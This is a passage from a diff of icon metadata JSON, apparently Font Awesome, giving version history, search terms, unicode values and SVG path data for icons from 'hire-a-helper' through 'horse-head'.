0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z" + } + }, + "free": [ + "brands" + ] + }, + "hire-a-helper": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b0", + "label": "HireAHelper", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860997, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z" + } + }, + "free": [ + "brands" + ] + }, + "history": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Rewind", + "clock", + "reverse", + "time", + "time machine" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1da", + "label": "History", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635540, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 255.531c.253 136.64-111.18 248.372-247.82 248.468-59.015.042-113.223-20.53-155.822-54.911-11.077-8.94-11.905-25.541-1.839-35.607l11.267-11.267c8.609-8.609 22.353-9.551 31.891-1.984C173.062 425.135 212.781 440 256 440c101.705 0 184-82.311 184-184 0-101.705-82.311-184-184-184-48.814 0-93.149 18.969-126.068 49.932l50.754 50.754c10.08 10.08 2.941 27.314-11.313 27.314H24c-8.837 0-16-7.163-16-16V38.627c0-14.254 17.234-21.393 27.314-11.314l49.372 49.372C129.209 34.136 189.552 8 256 8c136.81 0 247.747 110.78 248 247.531zm-180.912 78.784l9.823-12.63c8.138-10.463 6.253-25.542-4.21-33.679L288 256.349V152c0-13.255-10.745-24-24-24h-16c-13.255 0-24 10.745-24 24v135.651l65.409 50.874c10.463 8.137 25.541 6.253 33.679-4.21z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 255.531c.253 136.64-111.18 248.372-247.82 248.468-59.015.042-113.223-20.53-155.822-54.911-11.077-8.94-11.905-25.541-1.839-35.607l11.267-11.267c8.609-8.609 22.353-9.551 31.891-1.984C173.062 425.135 212.781 440 256 440c101.705 0 184-82.311 184-184 0-101.705-82.311-184-184-184-48.814 0-93.149 18.969-126.068 49.932l50.754 50.754c10.08 10.08 2.941 27.314-11.313 27.314H24c-8.837 0-16-7.163-16-16V38.627c0-14.254 17.234-21.393 27.314-11.314l49.372 49.372C129.209 34.136 189.552 8 256 8c136.81 0 247.747 110.78 248 247.531zm-180.912 78.784l9.823-12.63c8.138-10.463 6.253-25.542-4.21-33.679L288 256.349V152c0-13.255-10.745-24-24-24h-16c-13.255 0-24 10.745-24 24v135.651l65.409 50.874c10.463 8.137 25.541 6.253 33.679-4.21z" + } + }, + "free": [ + "solid" + ] + }, + "hive": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e07f", + "label": "Hive Blockchain Network", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785923, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z" + } + }, + "free": [ + "brands" + ] + }, + "hockey-puck": { + "changes": [ + "5.0.5" + ], + "ligatures": [], + "search": { + "terms": [ + "ice", + "nhl", + "sport" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f453", + "label": "Hockey Puck", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635541, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 160c0-53 114.6-96 256-96s256 43 256 96-114.6 96-256 96S0 213 0 160zm0 82.2V352c0 53 114.6 96 256 96s256-43 256-96V242.2c-113.4 82.3-398.5 82.4-512 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 160c0-53 114.6-96 256-96s256 43 256 96-114.6 96-256 96S0 213 0 160zm0 82.2V352c0 53 114.6 96 256 96s256-43 256-96V242.2c-113.4 82.3-398.5 82.4-512 0z" + } + }, + "free": [ + "solid" + ] + }, + "holly-berry": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "catwoman", + "christmas", + "decoration", + "flora", + "halle", + "holiday", + "ororo munroe", + "plant", + "storm", + "xmas" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7aa", + "label": "Holly Berry", + "svg": { + "solid": { + "last_modified": 1628088635542, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M144 192c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm112-48c0 26.5 21.5 48 48 48s48-21.5 48-48-21.5-48-48-48-48 21.5-48 48zm-32-48c26.5 0 48-21.5 48-48S250.5 0 224 0s-48 21.5-48 48 21.5 48 48 48zm-16.2 139.1c.1-12.4-13.1-20.1-23.8-13.7-34.3 20.3-71.4 32.7-108.7 36.2-9.7.9-15.6 11.3-11.6 20.2 6.2 13.9 11.1 28.6 14.7 43.8 3.6 15.2-5.3 30.6-20.2 35.1-14.9 4.5-30.1 7.6-45.3 9.1-9.7 1-15.7 11.3-11.7 20.2 15 32.8 22.9 69.5 23 107.7.1 14.4 15.2 23.1 27.6 16 33.2-19 68.9-30.5 104.8-33.9 9.7-.9 15.6-11.3 11.6-20.2-6.2-13.9-11.1-28.6-14.7-43.8-3.6-15.2 5.3-30.6 20.2-35.1 14.9-4.5 30.1-7.6 45.3-9.1 9.7-1 15.7-11.3 11.7-20.2-15.5-34.2-23.3-72.5-22.9-112.3zM435 365.6c-15.2-1.6-30.3-4.7-45.3-9.1-14.9-4.5-23.8-19.9-20.2-35.1 3.6-15.2 8.5-29.8 14.7-43.8 4-8.9-1.9-19.3-11.6-20.2-37.3-3.5-74.4-15.9-108.7-36.2-10.7-6.3-23.9 1.4-23.8 13.7 0 1.6-.2 3.2-.2 4.9.2 33.3 7 65.7 19.9 94 5.7 12.4 5.2 26.6-.6 38.9 4.9 1.2 9.9 2.2 14.8 3.7 14.9 4.5 23.8 19.9 20.2 35.1-3.6 15.2-8.5 29.8-14.7 43.8-4 8.9 1.9 19.3 11.6 20.2 35.9 3.4 71.6 14.9 104.8 33.9 12.5 7.1 27.6-1.6 27.6-16 .2-38.2 8-75 23-107.7 4.3-8.7-1.8-19.1-11.5-20.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M144 192c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm112-48c0 26.5 21.5 48 48 48s48-21.5 48-48-21.5-48-48-48-48 21.5-48 48zm-32-48c26.5 0 48-21.5 48-48S250.5 0 224 0s-48 21.5-48 48 21.5 48 48 48zm-16.2 139.1c.1-12.4-13.1-20.1-23.8-13.7-34.3 20.3-71.4 32.7-108.7 36.2-9.7.9-15.6 11.3-11.6 20.2 6.2 13.9 11.1 28.6 14.7 43.8 3.6 15.2-5.3 30.6-20.2 35.1-14.9 4.5-30.1 7.6-45.3 9.1-9.7 1-15.7 11.3-11.7 20.2 15 32.8 22.9 69.5 23 107.7.1 14.4 15.2 23.1 27.6 16 33.2-19 68.9-30.5 104.8-33.9 9.7-.9 15.6-11.3 11.6-20.2-6.2-13.9-11.1-28.6-14.7-43.8-3.6-15.2 5.3-30.6 20.2-35.1 14.9-4.5 30.1-7.6 45.3-9.1 9.7-1 15.7-11.3 11.7-20.2-15.5-34.2-23.3-72.5-22.9-112.3zM435 365.6c-15.2-1.6-30.3-4.7-45.3-9.1-14.9-4.5-23.8-19.9-20.2-35.1 3.6-15.2 8.5-29.8 14.7-43.8 4-8.9-1.9-19.3-11.6-20.2-37.3-3.5-74.4-15.9-108.7-36.2-10.7-6.3-23.9 1.4-23.8 13.7 0 1.6-.2 3.2-.2 4.9.2 33.3 7 65.7 19.9 94 5.7 12.4 5.2 26.6-.6 38.9 4.9 1.2 9.9 2.2 14.8 3.7 14.9 4.5 23.8 19.9 20.2 35.1-3.6 15.2-8.5 29.8-14.7 43.8-4 8.9 1.9 19.3 11.6 20.2 35.9 3.4 71.6 14.9 104.8 33.9 12.5 7.1 27.6-1.6 27.6-16 .2-38.2 8-75 23-107.7 4.3-8.7-1.8-19.1-11.5-20.1z" + } + }, + "free": [ + "solid" + ] + }, + "home": { + "changes": [ + "1", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "abode", + "building", + "house", + "main" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f015", + "label": "home", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635543, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M280.37 148.26L96 300.11V464a16 16 0 0 0 16 16l112.06-.29a16 16 0 0 0 15.92-16V368a16 16 0 0 1 16-16h64a16 16 0 0 1 16 16v95.64a16 16 0 0 0 16 16.05L464 480a16 16 0 0 0 16-16V300L295.67 148.26a12.19 12.19 0 0 0-15.3 0zM571.6 251.47L488 182.56V44.05a12 12 0 0 0-12-12h-56a12 12 0 0 0-12 12v72.61L318.47 43a48 48 0 0 0-61 0L4.34 251.47a12 12 0 0 0-1.6 16.9l25.5 31A12 12 0 0 0 45.15 301l235.22-193.74a12.19 12.19 0 0 1 15.3 0L530.9 301a12 12 0 0 0 16.9-1.6l25.5-31a12 12 0 0 0-1.7-16.93z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M280.37 148.26L96 300.11V464a16 16 0 0 0 16 16l112.06-.29a16 16 0 0 0 15.92-16V368a16 16 0 0 1 16-16h64a16 16 0 0 1 16 16v95.64a16 16 0 0 0 16 16.05L464 480a16 16 0 0 0 16-16V300L295.67 148.26a12.19 12.19 0 0 0-15.3 0zM571.6 251.47L488 182.56V44.05a12 12 0 0 0-12-12h-56a12 12 0 0 0-12 12v72.61L318.47 43a48 48 0 0 0-61 0L4.34 251.47a12 12 0 0 0-1.6 16.9l25.5 31A12 12 0 0 0 45.15 301l235.22-193.74a12.19 12.19 0 0 1 15.3 0L530.9 301a12 12 0 0 0 16.9-1.6l25.5-31a12 12 0 0 0-1.7-16.93z" + } + }, + "free": [ + "solid" + ] + }, + "hooli": { + "changes": [ + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f427", + "label": "Hooli", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699928, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z" + } + }, + "free": [ + "brands" + ] + }, + "hornbill": { + "changes": [ + "5.1.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f592", + "label": "Hornbill", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775899, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z" + } + }, + "free": [ + "brands" + ] + }, + "horse": { + "changes": [ + "5.4.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "equus", + "fauna", + "mammmal", + "mare", + "neigh", + "pony" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6f0", + "label": "Horse", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635545, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M575.92 76.6c-.01-8.13-3.02-15.87-8.58-21.8-3.78-4.03-8.58-9.12-13.69-14.5 11.06-6.84 19.5-17.49 22.18-30.66C576.85 4.68 572.96 0 567.9 0H447.92c-70.69 0-128 57.31-128 128H160c-28.84 0-54.4 12.98-72 33.11V160c-48.53 0-88 39.47-88 88v56c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-56c0-13.22 6.87-24.39 16.78-31.68-.21 2.58-.78 5.05-.78 7.68 0 27.64 11.84 52.36 30.54 69.88l-25.72 68.6a63.945 63.945 0 0 0-2.16 37.99l24.85 99.41A15.982 15.982 0 0 0 107.02 512h65.96c10.41 0 18.05-9.78 15.52-19.88l-26.31-105.26 23.84-63.59L320 345.6V496c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V318.22c19.74-20.19 32-47.75 32-78.22 0-.22-.07-.42-.08-.64V136.89l16 7.11 18.9 37.7c7.45 14.87 25.05 21.55 40.49 15.37l32.55-13.02a31.997 31.997 0 0 0 20.12-29.74l-.06-77.71zm-64 19.4c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M575.92 76.6c-.01-8.13-3.02-15.87-8.58-21.8-3.78-4.03-8.58-9.12-13.69-14.5 11.06-6.84 19.5-17.49 22.18-30.66C576.85 4.68 572.96 0 567.9 0H447.92c-70.69 0-128 57.31-128 128H160c-28.84 0-54.4 12.98-72 33.11V160c-48.53 0-88 39.47-88 88v56c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-56c0-13.22 6.87-24.39 16.78-31.68-.21 2.58-.78 5.05-.78 7.68 0 27.64 11.84 52.36 30.54 69.88l-25.72 68.6a63.945 63.945 0 0 0-2.16 37.99l24.85 99.41A15.982 15.982 0 0 0 107.02 512h65.96c10.41 0 18.05-9.78 15.52-19.88l-26.31-105.26 23.84-63.59L320 345.6V496c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V318.22c19.74-20.19 32-47.75 32-78.22 0-.22-.07-.42-.08-.64V136.89l16 7.11 18.9 37.7c7.45 14.87 25.05 21.55 40.49 15.37l32.55-13.02a31.997 31.997 0 0 0 20.12-29.74l-.06-77.71zm-64 19.4c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "horse-head": { + "changes": [ + "5.6.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "equus", + "fauna", + "mammmal", + "mare", + "neigh", + "pony" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7ab", + "label": "Horse Head", + "svg": { + "solid": { + "last_modified": 1628088635544, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M509.8 332.5l-69.9-164.3c-14.9-41.2-50.4-71-93-79.2 18-10.6 46.3-35.9 34.2-82.3-1.3-5-7.1-7.9-12-6.1L166.9 76.3C35.9 123.4 0 238.9 0 398.8V480c0 17.7 14.3 32 32 32h236.2c23.8 0 39.3-25 28.6-46.3L256 384v-.7c-45.6-3.5-84.6-30.7-104.3-69.6-1.6-3.1-.9-6.9 1.6-9.3l12.1-12.1c3.9-3.9 10.6-2.7 12.9 2.4 14.8 33.7 48.2 57.4 87.4 57.4 17.2 0 33-5.1 46.8-13.2l46 63.9c6 8.4 15.7 13.3 26 13.3h50.3c8.5 0 16.6-3.4 22.6-9.4l45.3-39.8c8.9-9.1 11.7-22.6 7.1-34.4zM328 224c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M509.8 332.5l-69.9-164.3c-14.9-41.2-50.4-71-93-79.2 18-10.6 46.3-35.9 